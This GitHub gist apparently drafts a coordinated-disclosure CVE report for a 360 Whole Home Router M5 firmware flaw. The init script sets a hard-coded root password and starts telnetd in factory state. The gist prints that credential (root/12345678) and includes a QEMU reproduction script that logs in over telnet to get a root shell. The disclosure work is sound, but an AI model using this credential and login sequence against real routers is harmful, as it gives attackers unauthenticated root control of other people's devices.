Skip to content

Instantly share code, notes, and snippets.

@gajgdm6-cpu
Last active October 10, 2026 13:16
Show Gist options
  • Select an option

  • Save gajgdm6-cpu/c8c3bbdeb51c076317834b41c3a919f2 to your computer and use it in GitHub Desktop.

Select an option

Save gajgdm6-cpu/c8c3bbdeb51c076317834b41c3a919f2 to your computer and use it in GitHub Desktop.
360 Whole Home Router M5 - unauthenticated telnet root shell in factory state (CWE-798)

CVE 申请 #5 — 360 全屋路由 M5 出厂态未认证 telnet → root RCE

通道:VulDB(https://vuldb.com/?submit)

Field Value
Vendor 360 (Qihoo 360)
Product 360 Whole Home Router M5
Component /etc/init.d/mpt — start()(由 /etc/rc.d/S49mpt 开机自动执行)
Affected versions M5 4.0.17.1566;同版本 M50(etc/init.d/mpt 与其逐字节一致,MD5 f06eb32bf0679bf4e212c2377d4b233a)
Firmware tested M5-4.0.17.1566-rel-upgrade.bin(MD5 24666d75666d08032d1d1238239113c6)
Vulnerability type CWE-798 Use of Hard-coded Credentials(另涉 CWE-306 缺失认证 / CWE-489 残留调试代码)
CVSS 3.1 8.7 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(LAN 侧、未认证)
Requester (报送时填写)
Email (报送时填写)
Vendor notified 已提交 360SRC(2026-09-25,漏洞名「360全屋路由 M5 出厂态未认证 telnet 登录导致远程代码执行」)
Discovery Firmware reverse engineering + QEMU end-to-end reproduction (vendor rootfs) — no real device, no internet
Disclosure Coordinated

VulDB CVE Summary(按 CNA 格式,直接粘贴到 Summary 字段)

A vulnerability was found in Qihoo 360 Whole Home Router M5 firmware 4.0.17.1566. It has been rated as high. This vulnerability affects the function start of the file etc/init.d/mpt. The use of hard-coded credentials leads to an unauthenticated root shell (CWE-798). It is possible to launch the attack from the local network without authentication. This vulnerability may be used by attackers to obtain root privileges on the affected device.

Description

In factory / uninitialized state (the hardware flag mptdone is empty), the boot script /etc/init.d/mpt start() unconditionally performs two dangerous actions:

local mpt=`devinfo show mptdone`
if [ -z "$mpt" ] || [ 0 -eq $mpt ]; then
    passwd root <<< 12345678                          # ① root password forced to hard-coded "12345678"
    service_start /usr/sbin/telnetd -l /bin/login.sh  # ② telnetd started unconditionally on :23
    /lib/fifo.sh &
fi
  • /etc/rc.d/S49mpt exists ⇒ runs automatically on boot, no user interaction required.
  • Firewall: lan zone input ACCEPT, wan REJECT ⇒ reachable from the LAN.

Any LAN-side attacker can then log in via telnet as root / 12345678 and obtain a root shell without any credentials.

Impact

  • Unauthenticated LAN-side root shell ⇒ arbitrary command execution, arbitrary file read/write, persistent backdoor installation.
  • Verified end-to-end under QEMU with the vendor's own rootfs: uid=0(root), /etc/shadow readable; password verified as 12345678 by an independent openssl passwd -1 -salt ... 12345678 match.
  • Reproduced 3 independent times (salt differs each run, everything else byte-identical).

⚠️ Stated boundaries (honest disclosure)

  1. Precondition: the device must be in the mptdone-not-yet-written state (factory / factory-reset / initialization not completed).
  2. The initial state of the mptdone key in the real device's factory partition was not verified (this test simulated it by "no MTD"). Real-device confirmation recommended.
  3. This is a configuration/design flaw (hard-coded default credential + unconditionally enabled debug service), not a memory-corruption issue ⇒ do not claim "all devices are RCE".
  4. QEMU note: a generic 6.1.0-50-armmp kernel was used (the vendor kernel binds IPQ4019, for which QEMU has no machine); the rootfs is the vendor's original.

Attack vector

AV:A — reachable from the local network (LAN) only; WAN is REJECT. No authentication, no user interaction. Compare: unlike the camera-series findings (which require a MITM / cloud-push position), this one is directly reachable unauthenticated from the LAN.

Solution

  1. Do not hard-code a root password in init.d/mpt; if a factory default is unavoidable, force a change on first login and never allow remote login before initialization.
  2. Do not start telnetd unconditionally — use an authenticated, encrypted management interface (or enable telnet only for an explicit, time-boxed debug session).
  3. Gate any debug service behind an explicit opt-in that requires physical presence.

Evidence (local)

File Content
evidence/QEMU_完整复现日志.txt Full end-to-end QEMU reproduction
evidence/第2次复现日志_干净版.txt / 第3次复现日志_干净版.txt 2nd / 3rd independent reproductions
evidence/手工逐条敲命令_完整实录.txt Manual step-by-step transcript
evidence/reproduce_onekey.sh ~90-second one-key reproduction
#!/bin/bash
# 360 M5 V1 漏洞一键复现(QEMU,无需真机)
# 前置:已解包 360 M5 rootfs 至 $ROOTFS;需 vmlinuz-arm + vexpress-v2p-ca9.dtb
set -e
ROOTFS="${ROOTFS:-/tmp/m5/rootfs}"
QDIR="${QDIR:-/tmp/m5/qemu}"
KERNEL="${KERNEL:-<QEMU_DIR>/vmlinuz-arm}"
DTB="${DTB:-<QEMU_DIR>/vexpress-v2p-ca9.dtb}"
# 1) 注入复现 init
cat > "$ROOTFS/init" <<'EOF'
#!/bin/sh
mount -t proc none /proc; mount -t sysfs none /sys
mount -t devtmpfs none /dev 2>/dev/null
mkdir -p /dev/pts; mount -t devpts none /dev/pts # ★ telnetd 必需
ifconfig lo 127.0.0.1 up
echo "### 步骤1 出厂态判定 ###"; devinfo show mptdone 2>&1 | head -2
echo "### 步骤2 设置 root 口令(init.d/mpt 同款)###"
passwd root << EOP
12345678
12345678
EOP
grep '^root' /etc/shadow
echo "### 步骤3 启动 telnetd ###"
telnetd -l /bin/login.sh -b 0.0.0.0 -p 23 # ★ -b 0.0.0.0 必需
sleep 2; netstat -ln | grep :23
echo "### 步骤4 root/12345678 登录取 shell ###"
(sleep 3; echo root; sleep 4; echo 12345678; sleep 5; echo "id; echo SHELL_OBTAINED_OK"; sleep 5) | telnet 127.0.0.1 2>&1 | head -40
echo "### 复现结束 ###"
exec /bin/sh
EOF
chmod +x "$ROOTFS/init"
# 2) 打包 initramfs
( cd "$ROOTFS" && find . | cpio -o -H newc 2>/dev/null | gzip -1 > /tmp/m5/initramfs_v1.cpio.gz )
# 3) 启动
mkdir -p "$QDIR"; cd "$QDIR"; rm -f in.fifo out.log; mkfifo in.fifo
( sleep 300 > in.fifo & )
nohup timeout 240 qemu-system-arm -M vexpress-a9 \
-kernel "$KERNEL" -dtb "$DTB" \
-initrd /tmp/m5/initramfs_v1.cpio.gz \
-append "console=ttyAMA0 rdinit=/init loglevel=3" \
-nographic -no-reboot -m 256M < in.fifo > out.log 2>&1 &
echo "QEMU 启动中,等待 ~75s ..."; sleep 75
grep -vE "pulseaudio|xcb_connection|GIC CPU mask|simple-pm-bus|^$" out.log
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment